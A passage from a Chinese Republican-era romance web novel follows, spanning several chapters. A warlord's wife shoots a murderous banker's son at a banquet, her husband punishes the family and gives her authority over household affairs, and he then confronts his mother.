白术业也立刻对江浸月斥道:“督军夫人!这是我们白家与陈家的事,老夫人仁慈宽和,好意调解,你又何必咄咄逼人,将小事闹大?!”
“小事?”陈佑宁脸上血泪交织,嘶声喊道,“两条人命,这是小事吗?!我不是胡说八道,苦主就在这里——你们出来吧!”
她话音落下,人群之中,几个穿着侍者服饰、原本毫无存在感的人,突然冲了出来!
一个是头发花白的老妇人,扑到白泽宇面前,用力捶打他的身体,发出凄厉的哭号:
“是你!就是你害死我的菊儿!她才十七岁啊!她只是不肯跟你去跳舞,你们就把她……把她……畜生!你还我女儿命来——!”
另一个是中年汉子,双目赤红,直接一拳狠狠砸向白泽宇的面门:“姓白的!我大哥就是被你的手下活活打死的!今天老子拼了这条命,也要你偿命!”
还有两个年轻女子,哭着喊着去抓挠白泽宇的脸:“畜生!你还我姐姐的清白!”“还我姐夫的性命!”
场面彻底混乱不堪。
白泽宇一贯是顺我者昌逆我者亡,被一群人指指点点了半天早就是怒火中烧,此刻被又捶又打,理智更是彻底崩断!
他狂吼一声,不管不顾地推开抓挠他的死者家属,目光狰狞地锁定始作俑者——陈佑宁!
都是她!
他让他成为众矢之的!成为所有人的笑话!
“陈佑宁!我杀了你!!”
白泽宇一把抓起旁边餐桌上一把切牛排的银质餐刀,直刺向陈佑宁!
陈夫人尖叫一声,将女儿护在身后,自己却暴露在前,眼看那把闪着寒光的餐刀就要落下,千钧一发之际——
“砰——!!”
一声震耳欲聋的枪响,悍然撕开混乱的喧哗!
白泽宇往前冲的身形猛然一顿,左腿膝弯处爆开一朵血花!
“啊!!”
他惨叫一声,整个人失去平衡,重重摔倒在地,手中的餐刀也哐当落地!
满场死寂。
所有动作、哭喊、议论,在这一刻戛然而止。
众人惊骇的目光齐刷刷地看向枪声响起之处——
江浸月右手平举,手中握着一把精致冷硬的勃朗宁,枪口还残留着一缕极淡的硝烟。
原本想上前阻止的苏拾卷也停下了脚步,十分不可思议地看着江浸月。
“泽宇——!”
白夫人扑到儿子身边,看着他膝弯处汩汩冒血的伤口,猛地转头瞪向江浸月!
“江浸月!你这个毒妇!你竟然敢开枪打伤我的儿子!我跟你拼了!”
她冲向江浸月!
江浸月眼神一冷,枪口微转,直接抵在白夫人的额心,让她不敢再动!
老夫人被这接二连三的变故震得脸色发白,此刻回过神来,怒不可遏:
“江浸月!谁准你带枪赴宴?!简直无法无天!还不快把枪放下!山青怎么会娶了你这个祸害!”
“反了!反了反了反了!”白术业气得浑身哆嗦,指着江浸月,声音因为愤怒而变了调,“你!你竟然敢在我白家打伤我儿!江浸月,你是要造反吗!”
话音落下,一道男声就蓦然响起——
“什么叫造反?”
声音不高不低,带着无形威压与凛冽寒意,从宴会厅大门方向倏地传来。
所有人意识到是谁来,霍然转头。
宴会厅那扇沉重的雕花大门自两边缓缓打开,晏山青一身黑色军装,站在光影交界处,身后跟着数名持枪的亲卫。
他脸上没有表情,目光冷然地扫过一片狼藉的厅堂。
哀号的白泽宇、僵立的白夫人、气得发抖的白术业和满脸怒容的老夫人。
最后,落在那个手持枪支、背脊挺直、独自站在漩涡中心的纤细身影上。
他迈步,走了进来。
军靴踩在大理石地面上,发出清晰而规律的叩响,每一步,都像踏在众人紧绷的心弦。
满堂宾客,鸦雀无声,连呼吸都下意识放轻了。
晏山青直接走到江浸月的身边,停下脚步,没去看那把指着白夫人额头的枪,只垂眸,看着她,语气听不出喜怒:
“怎么回事?”
江浸月尚未开口,老夫人就已经按捺不住滔天怒火,手指颤抖地指向江浸月,声音因激动而尖利:
“山青!你看看她!看看你这个好夫人!”
“今天是白老爷的寿宴,她身为督军夫人,非但不帮着调和场面,反而煽风点火、火上浇油!当众顶撞我这个婆婆,字字句句都在指责我多管闲事、处事不公!”
“现在更过分!居然在众目睽睽之下掏枪伤人,还用枪指着白夫人!如此凶悍的行径,哪还有半点大家闺秀的样子?!简直是把我晏家的脸面、将你的体面,全踩在了脚底下糟蹋!”
白术业也赶紧凑上前,到底是老江湖,压下心里对儿子伤势的着急和对江浸月的仇恨,换上一副又痛心又为难的神情,对着晏山青拱手道:
“督军明鉴!今日之事……犬子年轻气盛,确实做得不对,冲撞了陈小姐,我们白家肯定会好好赔罪、好好补偿。可督军夫人她……”
他话锋一转,目光扫过地上哀号的儿子,又落在被枪指着额头、脸都白了的妻子身上,语气微妙。
“督军夫人要是对我们白家有意见,大可以直接说,或是根本不必赏光前来。既然来了,又何必闹到这种地步?你看看这满堂宾客,都是东湖、南川有头有脸的人物,本来是喜庆的场合,现在却被搅成这样……”
“唉,这事儿传出去,知道的是小辈们起了争执;不知道的,还以为是督军府对我白家有什么意见,或是……府上后宅不宁。这于督军您的清誉,怕也是有损啊。”
他这话看似客气,甚至将自家儿子也置于“有错”之地,实则绵里藏针,将“闹事”“损及督军颜面”的帽子,稳稳地扣在江浸月的头上。
晏山青的目光从江浸月的身上移开,缓缓扫向滔滔不绝的老夫人和一脸沉痛的白术业。
他脸上依旧没什么表情,甚至连眉梢都没动一下,只是那眼神,沉静幽深得如同寒潭,无形的压力随着他的视线铺散开来。
“我问的是我夫人,”
他开口,声音不高,却像淬了冰的刀刃,干脆利落地将老夫人和白术业没说完的话,拦腰截断。
“你们,插什么嘴?”
第113章 赢了所有的江浸月
白术业脸上的表情瞬间僵住,张了张嘴,可对上晏山青那双毫无温度的眼睛时,所有准备好的言辞都卡在了喉咙里,化作一声惶恐的:
“是、是……鄙人多嘴了……”
说着赶紧低下头,再也不敢多说一个字。
老夫人气得胸口发疼,她到底是晏山青的生母,自觉有几分底气,颤声道:“山青,你就这么护着她吗?她对我这个婆婆口出狂言,句句顶撞,毫无敬意,你难道也要纵容吗?!”
晏山青看过去:“母亲,我在问话,您三番四次插嘴,又有把我放在眼里吗?”
老夫人被他带着警告的眼神震得往后退了一步:“……!”
苏拾卷不知何时走了过来,适时开口:“老夫人,督军在审案。”她不该打断。
江浸月这才抬起眼,目光清澈又坦荡地迎上晏山青的目光,声音平稳清晰,将方才的混乱与指控一一理顺:
“督军,事情经过是这样的——白家两位少爷过来敬酒,言辞轻佻,被我拒绝后,转而逼迫佑宁表妹。”
“白泽宇强灌不成,恼羞成怒,动手推搡,致使表妹撞翻酒塔受伤。表妹情急之下,揭露白泽宇往日的罪行,包括逼奸女学生致死、为霸人妻杀害其夫两桩命案。”
“苦主当场冲出来指认,白泽宇被激怒,手持餐刀,想杀表妹灭口。情势危急之下,我不得不开枪击中他的膝弯,制止他行凶。白夫人心疼儿子,扑向我拼命,我为求自保,才以枪相指。”
她顿了顿,目光掠过脸色铁青的老夫人、面如死灰的白家人,最后重新看定晏山青:
“至于母亲说的‘顶撞’,刚才白老爷想把人命关天的事说成‘小辈玩闹’,母亲还想插手调解,我只是提醒了一句,奸杀掳掠、杀身害命,不是一句‘玩闹’就能揭过去的;母亲是晏家主母,不合适掺和陈家和白家的纷争。”
“恕儿媳愚钝,没想出我说的这些话,错在哪里?”
她语气不卑不亢,条理分明,每个字都是掷地有声。
老夫人胸口剧烈起伏:“你!”
江浸月道:“我说的句句属实,督军不信,在场这么多人都可以为我做证。”
晏山青静静听着,直到江浸月说完,他嘴角才极其轻微地勾了一下。
只是那弧度太浅,消失得太快,江浸月都以为是错觉。
他没有立刻回应江浸月,也没有去看老夫人和白术业,而是转过身,迈开步子,一步一步,走向倒在地上的白泽宇。
军靴踏过碎裂的玻璃和酒渍,发出细微的咔嚓声,在鸦雀无声的大厅里格外清晰。
白泽宇捂着血流如注的膝弯,疼得脸色惨白,冷汗浸透了头发。看到晏山青走近,他眼中充满了恐惧,想要往后缩,却动弹不得。
晏山青在他的面前站定,垂眸,冷漠地审视着他,如同在看一件毫无生气的物品。
然后。
他抬起脚,那锃亮的军靴底,精准地、缓慢地,碾在了白泽宇中枪的膝盖伤口上。
“啊——!!!”
比方才中枪时凄厉十倍的惨叫声从白泽宇的喉咙里迸发出来!
他整个人痛得蜷缩起来,浑身痉挛,眼泪鼻涕糊了一脸。
“逼我夫人喝酒?”晏山青的声音冷得让人骨髓发寒。
“啊——!督军!督军饶命!我不敢了!我再也不敢了!!”白泽宇发出杀猪般的嚎叫声。
“逼我表妹喝酒,还要杀她灭口?”晏山青继续问,脚下的力道加重。
白泽宇已经痛得几乎晕厥,只能断断续续地哀号求饶。
白夫人看得肝肠寸断,再也顾不得别的,扑过去抱住晏山青的腿:“督军!督军开恩啊!泽宇他知道错了!他真的知道错了!求您高抬贵脚,饶他一条狗命吧!”
晏山青看都没看她一眼,任由她抱着自己的军靴,目光依旧钉在白泽宇那张因为极度痛苦而扭曲的脸上,缓缓问道:
“白泽宇,你仗着什么?”
“仗着你白家的金山银山?”
“还是仗着,我这些年,对你们白家,太宽容了?”
最后几个字,轻飘飘的,却像千斤重锤,狠狠砸在白术业的心头!
他双腿一软,当场跪下!
“督军!督军息怒!是鄙人教子无方!是白家对不起督军的信任!求督军看在往日的情分上,饶了这孽子一回!白某愿倾尽家财,补偿苦主。以后一定严加管教,再也不让这孽子出来惹事!”
晏山青终于移开了脚。
白泽宇像一摊烂泥瘫在地上,没有进的气、只有出的气,连惨叫都微弱下去。
白夫人扑上去抱住儿子,哭得撕心裂肺。
晏山青淡淡瞥了涕泪横流的白术业一眼,那眼神,漠然得令人心寒。
他不再看白家人,喊道:“副官。”
“是!”一直站在他身后的副官立刻上前一步,立正听令。
“把白泽宇送去西医院救治,然后,他做过什么,苦主指认了什么,一桩桩、一件件,都给我彻查清楚。”
“证据确凿的,依律法办。若有人想阻挠调查、包庇隐瞒,”他目光扫过瑟瑟发抖的白术业夫妇,吐出四个字,“同罪论处。”
“是!”副官挥手,两名亲卫上前,毫不客气地将瘫软的白泽宇从白夫人怀里拖了起来。
“不!不要!我的儿子啊!”白夫人哭喊着想要阻拦,被亲卫轻易隔开。
白术业面如死灰,瘫坐在地上——他知道,白泽宇这下彻底完了。
“山青!”老夫人的声音惊怒,“你这是什么意思?!你真要为了这点事,毁了和白家的情分,寒了老人的心吗?!”
晏山青看向母亲,眼神稍微缓了缓,但语气依旧不容置疑:“母亲,陈、白两家的婚事,是您极力促成的?”
老夫人一怔,隐隐感到不妙:“是、是又怎么样?我也是为了佑宁那孩子的终身着想,白家富贵……”
“这门婚事,就此作罢。”晏山青直接打断她,“这件事,我说了算。”
老夫人瞪大眼睛看着儿子:“你、你连我的面子都不给?”
陈佑宁却已经喜极而泣:“谢谢表哥!谢谢表哥!”
陈师座也终于长长舒了一口气,对着晏山青郑重拱手:“督军明断!”
晏山青没再多看他们,只对着老夫人:“母亲今天也受了惊吓。我让人送您回府休息。”
这就是直接请老夫人离场。
老夫人看着儿子冰冷的侧脸,又看一旁静立不语、仿佛赢了所有的江浸月,一股混合着愤怒、挫败,还有恐惧的寒意,瞬间席卷了她。
“好……好!我走!我走!”
她颤声说着,被这接二连三的打击弄得头晕目眩,几乎要站不稳。
“老夫人小心。”宋知渝连忙上前,用力搀扶住她,低垂的眼睫下,满是惊惶与不甘。
她精心策划,原本想借老夫人之手,除掉陈佑宁,顺便打压江浸月,没想到事情急转直下,竟然演变成这样!
不仅没有伤到江浸月,反而让白家顷刻间倾覆,连老夫人的权威都被晏山青当众削得一干二净!
她扶着摇摇欲坠的老夫人,在无数道错综复杂的目光的注视下,仓皇离去。
晏山青处理完一切,转身,走向一直静立在原处的江浸月。
第114章 衣服穿上,故事编好
江浸月抬起眼,轻声唤道:“督军。”
晏山青看着她,没应声,只是伸出手,握住了她垂在身侧,还紧握着枪的那只手。
他的手掌宽大温热,带着常年握枪留下的薄茧,将她微凉的手指连同那把勃朗宁一起裹住。
江浸月心头轻轻颤了下,对上他深不见底的目光,顿了顿,卸了力道。
晏山青顺势将枪从她手中抽走,低头看了一眼——正是他那把。
他重新看向江浸月,语气分辨不出情绪:“这把枪,你霸占了这么久不还我,原来就是为了今天当众展示你的练枪成果?”
“……”江浸月知道他这是要追究她带枪赴宴的事了。
确实,这个举动太彪悍了,传出去也不好听。
她是督军夫人,又不是土匪头子,赴个寿宴还在手包里藏枪,像什么话?
随时准备火并吗?
她抿了抿唇,道:“督军当初教我枪法,不就是为了让我紧要关头能自保么。我想着,白家跟江家一向有过节,万一他们失了分寸要对我做什么,我有枪,至少能拖到您到来。”
“也幸亏带了枪,否则刚才就救不下佑宁表妹了。”
晏山青看了她片刻,忽地扯了扯嘴角,随手将枪插回腰间:“防人之心不可无,你考虑周全,做得对。”
他这话一出,等于给这件事定了性——带枪不是出格,是谨慎。
督军都说是对的,那谁还敢批她江浸月行为乖张?
晏山青目光扫过满地狼藉,冷不丁道:“母亲心软,耳根子也软,旁人说几句好听的她就信以为真。像今天这种场合,鱼龙混杂,各怀心思,要是没点眼力和决断,很容易就被人当枪使。”
“以后外头这些宴会应酬,还是交给夫人费心吧,该去不该去,该怎么应付,夫人自己看着办。母亲年纪大了,也该享享清福了,少操这些心。”
他的话是对江浸月说的,但没有特意压低声音,以至于周围宾客都听得一清二楚。
这……
这不就等于把督军府对外交际、经营人脉的权柄,从老夫人手里直接移交给江浸月吗?!
宴请往来、人情打点,从来都是当家主母的体面。
如今督军当众把这体面给了江家女,就是明明白白告诉所有人,往后这督军府后宅,是江浸月说了算!
众人纷纷对视——老夫人还在呢,就被不留情面地分走了实权,督军更站在哪一边,一目了然。
江浸月也愣了一下。
她脑子飞快转动,这天上掉下来的,到底是馅饼还是陷阱?
但她只迟疑了片刻,便抬起眼,对晏山青道:“督军信任,我自当尽力而为。”
晏山青轻微地勾了一下唇,就喜欢她临危不乱的魄力。
他点了下头,转而看向还愣着的宾客,声音淡了下来:“今天就到这,都散了吧。”
宾客们这才如梦初醒,连忙拱手告辞,可每个人心里都是炸开了锅。
之前外头都传,督军对这位新夫人也就是在内宅宠着,真到大事上,还是更信白家这样的“自己人”。江家女再得宠,也翻不出老夫人的手掌心。
可今天亲眼看见的是——白家起高楼、宴宾客,转眼楼塌了;老夫人更是威严扫地,不仅被请回家去,还被当众分走了权柄。
而那位一直被说只能在“后宅得意”的督军夫人,不仅敢开枪镇场、条理分明驳斥长辈,还被督军亲口赋予了执掌外事的权力。
这哪儿是什么“一时新鲜”,分明是督军认可能干,甚至要倚重的正房夫人!
有手腕、有脑子、有胆子,连老夫人都没能压住她,反而让她借势立了威!
都说风水轮流转,这转得也太快了,从今往后,南川城里,谁还敢小看江家,小看这位争议不断的督军夫人?
宾客们各怀心思地离开,大厅很快空下来,只剩下瑟瑟发抖、面无人色的白家人。
晏山青走到瘫软在地的白术业面前。
白术业不等他开口,就跪起来“砰砰”磕头,老泪纵横:
“督军!督军!是我没教好儿子,养出这么个混账东西!我对不住您的信任!求您看在过去我也为您出过力、效过劳的份上,饶了泽宇这一回吧!”
晏山青居高临下地看着他:“过去什么情分?”
白术业愕然抬起头,对上晏山青幽寒的眼睛。
“你跟着我,出钱出力,我也让你的金隆成了南川、东湖数一数二的银行,让你白家富贵滔天。”晏山青一字一句,说得慢而清晰,“我晏山青,让你白家吃过亏吗?少过你一分好处吗?”
白术业冷汗涔涔,连连摇头:“没有!没有!督军对白家恩重如山!”
“既然知道我不欠你们的,那你现在又是在挟恩图报什么?”晏山青嘴角扯出一个没有温度的弧度。
“白术业,你们白家这些年借着我的名头,在外头行了多少方便,捞了多少不该捞的,真当我不知道?我只是懒得计较。但纵容,不是让你们无法无天。”
“督军!我、我……”
“我以前能用你,现在能容你,”晏山青微微弯下腰,凑近了白术业,一字一句,“以后也能收拾你。”
“白泽宇犯的事,依法严办。金隆银行,自己把账查清楚,该补的补,该退的退,一分不能少。你以后,好自为之。”
说完,他不再理会惶恐不安的白术业,转头对苏拾卷道:“安顿好苦主,白泽宇的案子,给我查透了。”
苏拾卷正色点头:“明白。”
处理完这些,晏山青才又看向江浸月,眉头一挑:“还不走?”
江浸月默默跟上他的脚步。
两人一前一后走出洋楼。
一顿折腾,现在已经是黄昏时分,凉风迎面扑来,带着春末的寒意,江浸月身上只穿着一件旗袍,不禁打了个颤。
晏山青看了她一眼,解开军装外套的扣子,利落地脱下,直接丢进她怀里。
江浸月下意识接住,他的衣服沉甸甸的,还带着体温,以及很淡的烟草味。
她有些茫然地看向晏山青,而他已经自顾自拉开车门坐了进去。
江浸月:“……”
什么意思?不让她上车?
晏山青双腿交叠,黄昏最后一束光线在他棱角分明的侧脸上投下深浅不一的阴影。
他侧过头,看着还抱着他的外套傻站在原地的女人,语气有些玩味儿:
“穿上。身上暖和了,脑子才转得动,给你五分钟,把今天这件事编圆了,再上车说给我听。”
“…………”
江浸月默默把那件宽大的外套穿上。
袖子长出许多,下摆几乎到她小腿,暖意包裹住微凉的身体,驱散了夜寒,也裹上来一股独属于他的,带有压迫感的气息。
她走到车边,看向车里的男人。
“督军是因为明婶去军政处找您,您才赶过来的吗?”
晏山青靠在椅背上,闭目养神,淡淡道:“今天没去军政处。去城西营地。接到苏拾卷的电话,说你在白术业的寿宴上‘闹翻天’了。”
江浸月轻声细语:“那我应该谢谢苏先生及时把您请过来。要不是您来了,给我撑腰,镇住场子,今天的事,恐怕没那么容易收场。”
晏山青终于睁开眼,侧头看向她,哼笑一声:“别以为给我戴顶高帽这件事就能过去。我收拾完他们,独独留你到最后——”
“就是要跟你,好好算算这笔账。”
第115章 你给我添麻烦,自己还委屈了
轻风拂过脸颊,少了些寒意,多了几缕晏山青外套里的气息。
江浸月站在车边,可能是因为晏山青的亲卫戍守在汽车周围,以至于无人敢经过。
四下安静,倒是让她纷乱的思绪渐渐沉淀了下来。
她知道晏山青这个人,心有九窍,城府深沉,既然他都问了,那装无辜或者藏头露尾一定会被拆穿,到时候更不好看。
索性,她就坦诚道:“督军要我说,哪我就直说了。”
晏山青身体后倾,靠在椅背,一双长腿交叠,皮革军靴冷硬,他摆出一副要好好听她能怎么说的样子。
“陈佑宁走投无路,一直哭求我,我动了恻隐之心。加上想到江家与白家有旧怨,若是放任白家与陈家结亲坐大,那对江家会更加不利。因此我便决定帮她一把,给她出主意,让她去挖白泽宇的底。”
“我原本以为,最多只能挖出些欺男霸女、挥霍无度的纨绔行径,拿着这些去跟老夫人和陈家说道,或许能搅黄这门亲事。”
“可我没想到,挖出来的,竟是血淋淋的人命案。”
“那么就算不是为了陈佑宁,不是为了提防白家,我也不会坐视不管。否则放任白泽宇这种人继续逍遥法外,谁知道下一个无辜枉死的人会是谁?”
她看着晏山青,继续道,“如果督军要怪我在大庭广众之下揭了白家的丑,打乱了督军原有的部署和计划,那我确实有错。但即便重来一次,我还是会这么做。”
“白泽宇每次犯事,都仗着是督军的亲信去摆平,一次两次或许压得住,长此以往,民怨越积越深。到那时,百姓恨的不会只是一个白泽宇,他们更会恨纵容白泽宇的‘靠山’。”
“督军励精图治,想要的,难道是步东湖张卫的后尘,因为失尽民心,而墙倒众人推吗?”
这话尖锐。
晏山青说:“你放肆。”
声音不高,但威慑力十足,换作一般人早就跪地认错。
江浸月也被他话里的冷意震慑到,长袖下的手不由得攥紧,但依然抿着唇,背脊挺得笔直,一副倔强不肯认错的模样。
晏山青看着她这副样子,嗓音沉沉:“就算白泽宇该死,那你有没有想过,你这么一闹,金隆银行必定元气大伤,信誉扫地,短期内恢复不了。我刚拿下的江陵区,扩建防御、修筑铁路,迫在眉睫的款项和调度,你让我怎么办?”
江浸月抿唇:“天下银行,又何止金隆一家,白家倒了,自然有别的银行能顶上……汇源银行在南川根基深厚,资金充裕,若论信得过,难道我江家就不能是督军可信之人?江陵区的建设,汇源一样可以协助督军完成。”
晏山青哼笑一声,听不出是赞许还是嘲讽:“你倒是‘举贤不避亲’,就不怕旁人觉得,你今天针对白家,大义凛然是假,为你江家谋利才是真?”
“旁人怎么想我,我并不十分在乎……”江浸月看着他在昏暗光线下,显得有些冷漠的脸庞,情绪无端涌动了一下,她将脸别向一边,语气有些闷。
“……若是督军也这般看待我,那我无话可说。”
晏山青听她这话,突然间伸手,隔着衣袖抓住她纤细的手腕,将他往自己的方向用力拽了一下。
江浸月猝不及防,整个人往前踉跄了两步,高跟鞋踩着水泥地面有些凌乱,她下意识伸手扶住车顶,有些慌张地看向车里,跟晏山青幽暗的目光对个正着。
他沉声道:“你给我添了这么大的麻烦,自己倒先委屈上了?怎么?你对不起我,还要我哄你?”
“没有委屈。不敢让督军哄。”江浸月轻轻咽了一下喉咙,“督军方才当众将府外应酬往来之权交给了我,我偷着乐还来不及呢,怎么会委屈?”
“这话听着像赌气。”
“也没有赌气。”
晏山青看着她,无声笑了一下,这次的笑意真切了几分。
他还没有放开她的手腕,目光在她脸上逡巡了一圈,再次开口:“这么大的事,从头到尾,你都没有想过要事先告诉我一声。”
江浸月睫毛轻轻颤了颤,低声道:“我问过督军的,督军说了,不在乎这桩婚事能不能成。督军这么说了,我才敢那么做的。因为没有伤及督军的根本利益。”
原来那天的问话,是挖坑啊。
晏山青道:“当众揭我手下人的丑,让我不得不亲手清理门户,你还觉得是给我长脸了?”
江浸月一时说不出话。
晏山青抓她手腕的手,略微加重了力道,眼眸晦暗:“清理白家倒也没什么。但你似乎只把我当成‘督军’,没有把我当成‘夫君’,否则你对陈白两家结亲有顾虑,应该是跟我商量,而不是直接动手。”
“你是觉得,我不会站在你这边吗?”
“……”
江浸月心头的弦像被人拨动了一下,余音绕梁,久久不散。
她看着晏山青的眼睛,那里面的情绪复杂难辨,有审视,有不满,以及一些别的什么。
江浸月眼睫飞快煽动,有些不知所措,她咬了一下唇,低声道:“不是……我没有想那么多,只是觉得这件事我能处理,所以就自己处理了。”
……这好像也不是他想听的话……
江浸月思绪飞转,干脆利落地认错:“对不起督军,是我想得不够周全,下次再有类似的事情,我一定先跟您商量。”
晏山青盯着她看了半晌,终于松开了她的手腕,靠回椅背,语气恢复成平常的样子:
“行了,上车吧。”
“哦。”江浸月应了一声,绕到另一边,拉开车门坐进去。
车门关上,将夜风隔绝在外。
车厢内空间不大,男人的气息更加清晰,江浸月默默将过长的外套袖子往上挽了挽,心里乱糟糟地想——
上次在山里,她说她不是他肚子里的蛔虫,不知道他什么时候高兴、什么时候不高兴、又为什么会不高兴……他把她的话听进去了,所以这次为什么不满,就直接告诉她了?
他居然真的有把她的话记住,并且践行。
江浸月面上没有表露,但心里掀起了一阵惊涛骇浪。
车子缓缓启动,驶离一片洋楼。
江浸月平复了很久心情,无意间看到窗外的路,不由得问:“督军要跟我一起回督军府?”
晏山青懒声道:“我要是不跟你回去,你看母亲会不会找你算账。”
江浸月真心实意:“谢谢督军护着我。”
“不客气。”晏山青支着额角,懒洋洋地睨着她,“江三小姐下次拆我台之前,有劳提前跟我打声招呼就好。”
江浸月:“……”
第116章 甜言蜜语一句接一句
车子在督军府门前停下。
江浸月和晏山青刚下车,管家就步履匆匆地迎了上来,神色焦急,对着他们躬身道:
“督军,夫人……老夫人在寿松堂发了好大的脾气,已经砸了两套茶具了……”
江浸月心头一紧,下意识去看晏山青。
晏山青倒是一脸平静,仿佛早有预料,见她望过来,嘴角似有若无地勾了一下:“现在知道怕了?”
“……”
江浸月声音放软了一些,“一直都是怕的。只是想着,再怎么样,都有督军在,我才比较有底气去做那些事。”
“看得出来夫人是真的慌了,”晏山青懒声,“甜言蜜语一句接一句的,都不知道羞。”
江浸月耳根一热,抿着唇,没再吭声。
晏山青难得见她窘迫,眼底掠过一丝笑意,也没再继续逗她,只道:“你回垆雪院吧。”
江浸月愣怔:“我不用去寿松堂吗?”
“想去挨骂吗?”晏山青挑眉。
江浸月立刻闭嘴,非常识相地福身:“督军忙了一天,应该还没吃顿饱饭吧,我回垆雪院准备,督军等会儿记得过来用些。”
说完就裹着外套,脚步匆匆地走了,生怕走慢一步会被叫去挨骂。
晏山青这才转身,不紧不慢地往寿松堂走去。
院子里,寿松堂伺候的佣人跪了一地,一个个低着头,瑟瑟发抖。有两个小丫鬟还在低声抽泣,显然是被吓坏了。
晏山青对他们挥了一下手。
一院子人如蒙大赦,慌慌张张地起身退出去。
“谁让你们走的?!给我回来!连你们都不把我放在眼里了?!”老夫人的怒喝声从屋里传出来。
晏山青迈步走进正厅:“是我让他们走的。”
老夫人看到晏山青,气更是不打一处来:“原来是你这个逆子!在外人面前让我颜面扫地还不够,回到家也要下我的威风!”
晏山青自顾自在一旁的太师椅上坐下,姿态放松:“我是来跟母亲说一声,以后外头的宴会应酬,都交给浸月去处理。她过门也大半年了,是该掌理一些事情,否则这个督军夫人当得名不正言不顺。”
老夫人一听这话,更是火冒三丈:“你现在是有了老婆就不要娘了?!什么都捧着垆雪院,一点都不把我这个亲生母亲放在眼里!”
“母亲若是没有那么多心思,婆媳和睦,我自然不会管这后宅的权利该怎么分配。”晏山青语气依旧平淡,“可如今婆媳不睦,需要我来裁决,那我自然站在对的那一面。”
他抬眼,看向气得脸色发白的老夫人,“这件事,是母亲做错了,我自然会帮她。也是因为母亲处理事情不妥当,那就只能交给能处理好的人。”
“我哪里做错了?!”老夫人激动地站起身。
“我哪里知道白泽宇在外面杀人放火?!我只是看他年纪合适、家境合适,跟佑宁般配,才想着撮合他们!我也是一片好心!就算有失察的地方,那也说不上有错吧?!”
她越说越气,矛头直指江浸月,“倒是你那个夫人,行为乖张,一点都不给我这个婆婆面子!”
“她仗着什么?无非就是仗着她出身江家,是个千金大小姐,看不起我这个乡下来的婆婆,所以才敢处处顶撞!”
晏山青等她说完,才缓缓开口:“母亲到底是有心操持佑宁的婚事,还是想着拉拢白家,一起对付江家,我心里有数。您为此还不惜逼迫姨父姨母听从您的命令,这跟卖了人家女儿有什么区别?”
老夫人脸色一僵,随即辩驳:“我只是识人不精!”
“是么?”晏山青目光如炬,“急功近利,所以才没有详细调查吧。”
他勾唇,笑意却未达眼底,“当年给明铮安排学校的时候,哪怕母亲什么都不懂,不知道哪所大学更好,但母亲还是拿着放大镜,一个字一个字地研究,挑出那个最好的。怎么轮到佑宁的终身大事,母亲就‘识人不精’了?”
这话像一根针,精准地扎进了老夫人的软肋。
她张了张嘴,一时说不出反驳的话来。
晏山青起身,居高临下地看着她,声音沉静,却带着不容置疑的威压:
“母亲,您没必要做这些事。您什么都不用做,无论是外面那些人,还是家里这些人,都没有人敢冒犯您。但您若是非要折腾出一些事,还错了,那我照样会秉公处理,到时候,就别怪儿子让您颜面扫地。”
“还有,放权给浸月是我自己的主意,您别去找浸月麻烦。”
说完,他不再看老夫人灰败下去的脸色,转身就走。
“你——!”
老夫人手指着他的背影,浑身发抖,心口一阵绞痛,眼前发黑,又猛地跌坐回椅子里。
一直躲在屏风后的宋知渝快步走出来,连忙扶住老夫人,焦急道:“老夫人!您怎么样?快,快顺顺气……”
老夫人靠在她身上,好半晌才缓过劲,嘴唇哆嗦:“他、他现在都这么跟我说话了……”
宋知渝连忙说:“老夫人,别伤心,督军他也是一时被人蒙蔽了,说到底,都是因为夫人……”
“不……”老夫人声音疲惫而苍凉,“山青一直以来都不太听我的话,否则当初,他就不会非要娶江浸月进门。”
她闭上眼,深深的无力,“这个儿子,从小就有主意,他心里是怨我更疼他弟弟,所以现在才不站在我这边……”
宋知渝咬唇:“可若是没有夫人在其中作梗,督军也不会跟您撕破脸皮到这个地步……”
但这次,老夫人却摇了摇头,脸上是浓浓的倦色和心灰意冷:“罢了……我累了,不想说了,扶我进去歇着吧。”
宋知渝看着她这副颓然模样,知道今晚再说无益,只能咽下未尽的话,小心翼翼地搀扶起老夫人,往内室走去。
……
督军府寿松堂内是一片压抑的死寂。
而西医院的特护病房内,却是另一番鸡飞狗跳。
白泽宇躺在病床上,膝盖已经做过手术,取出子弹,仔细包扎,但麻药的劲儿过去后,剧痛一阵阵袭来。
他抱着腿,一边嚎叫,一边咒骂:“江浸月!陈佑宁!这两个贱人!我不会放过你们的!等我好了,等我好了,一定要弄死你们!啊——疼死我了!”
白夫人守在床边,心疼得掉眼泪:“我的儿啊,你忍忍,你忍忍,医生说了不能乱动……那个杀千刀的江浸月下手怎么这么狠呢?!”
“还有晏山青!”白泽宇疼得面目扭曲,“他居然踩我的伤口!他居然为了那个女人这么对我!我们白家为他做了多少事,忘恩负义的狗东西!”
第117章 死也要拉她们垫背!
“你给我闭嘴!”
一直沉着脸站在窗边的白术业猛地转身,厉声喝道,“还嫌惹的祸不够大吗?安分一点!”
“安分?我们还要怎么安分?”白夫人一下站了起来,冲着丈夫哭喊。
“晏山青说的话你没听到吗?他不会放过泽宇的!泽宇这次是真的要坐牢了!说不定、说不定还要偿命!这是我儿子!是我身上掉下来的肉!他要是出什么事,我也不活了!”
她越说越激动,将积压的恐惧和愤怒全部爆发出来,“那个晏山青就是白眼狼!忘恩负义!当初要不是我们白家雪中送炭,他能在东湖站稳脚跟?!现在发达了,转头就要卸磨杀驴!还有江浸月,更是狐狸精!祸水!贱人!要不是她煽风点火,泽宇怎么会……”
“啪——!”
一记响亮的耳光,狠狠打断了白夫人的咒骂!
白夫人捂着脸,难以置信地瞪大了眼!
白术业指着她,气得声音都在发颤:“蠢妇!你还敢骂?是嫌我们白家死得不够快吗?!要不是你从小惯着他,他能变成今天这样?现在知道哭了,早干嘛去了?!”
积压的怒火、对前途的绝望、对儿子不争气的痛心,在这一刻悉数爆发。
白术业再也维持不住一家之主的体面,指着病床上的白泽宇,双目赤红。
“你看看你养的好儿子!杀人放火,无恶不作!现在踢到铁板了,知道疼了?!我早就告诉过你们,收敛一点!收敛一点!!你们听过吗?!啊?现在全完了!金隆银行完了!白家也完了!我都没脸去见列祖列宗了!”
“你怪我?你还怪我?!”白夫人也彻底疯了,扑上去撕扯白术业的衣服,“这是我一个人的儿子吗?你管过他吗?你整天嘴里就念叨着列祖列宗,你关心过这个家吗?!现在出事了,就把错全推到我的头上!”
两人在病房里扭打成一团,拉扯咒骂,毫无体面。
护士想进来劝说,看到这场景,又吓得缩了回去。
白泽宇躺在床上,看着父母丑态毕露,听着那些坐牢、偿命的字眼,眼中的怨毒和疯狂越来越浓。
